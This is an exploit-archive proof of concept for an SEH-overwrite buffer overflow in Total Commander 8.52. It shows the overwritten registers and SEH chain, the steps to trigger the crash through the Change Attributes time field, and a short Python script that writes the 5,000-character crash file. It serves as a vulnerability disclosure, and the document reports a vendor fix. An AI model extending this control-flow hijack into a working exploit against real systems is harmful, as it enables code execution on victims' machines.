Total Commander 8.52 - SEH Overwrite Buffer Overflow Exploit

'''
********************************************************************************************
# Exploit Title: Total Commander 32bit SEH Overwrite.
# Date: 8/27/2015
# Exploit Author: Un_N0n
# Software Vendor: http://www.ghisler.com/
# Software Link: http://www.ghisler.com/download.htm
# Version: 8.52
# Tested on: Windows 8 x64(64 BIT)
********************************************************************************************
[Info:]
EAX 00106541 
ECX FFFFFEFA
EDX 0031E941
EBX 04921F64
ESP 001065FC 
EBP 41414141
ESI 04930088
EDI 0031E9B0
 
EIP 41414141
 
SEH chain of main thread, item 0
    Address=001065FC
    SE handler=41414141
'''
 
[Steps to Produce the Crash]:
1- Open up 'TOTALCMD.EXE'.
2- Goto Files -> Change Attributes.
3- In time field paste in contents of 'Crash.txt'.
~ Software will crash b/c SEH Overwrite.
 
[Code for CRASH.txt]
file = open("crash.txt",'w')
file.write("A"*5000)
file.close()
 
->After Reporting,
    Vendor has released(bugfix release) a new version(8.52a[9th SEPT 2015]).
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#  0day.today [2018-01-09]  #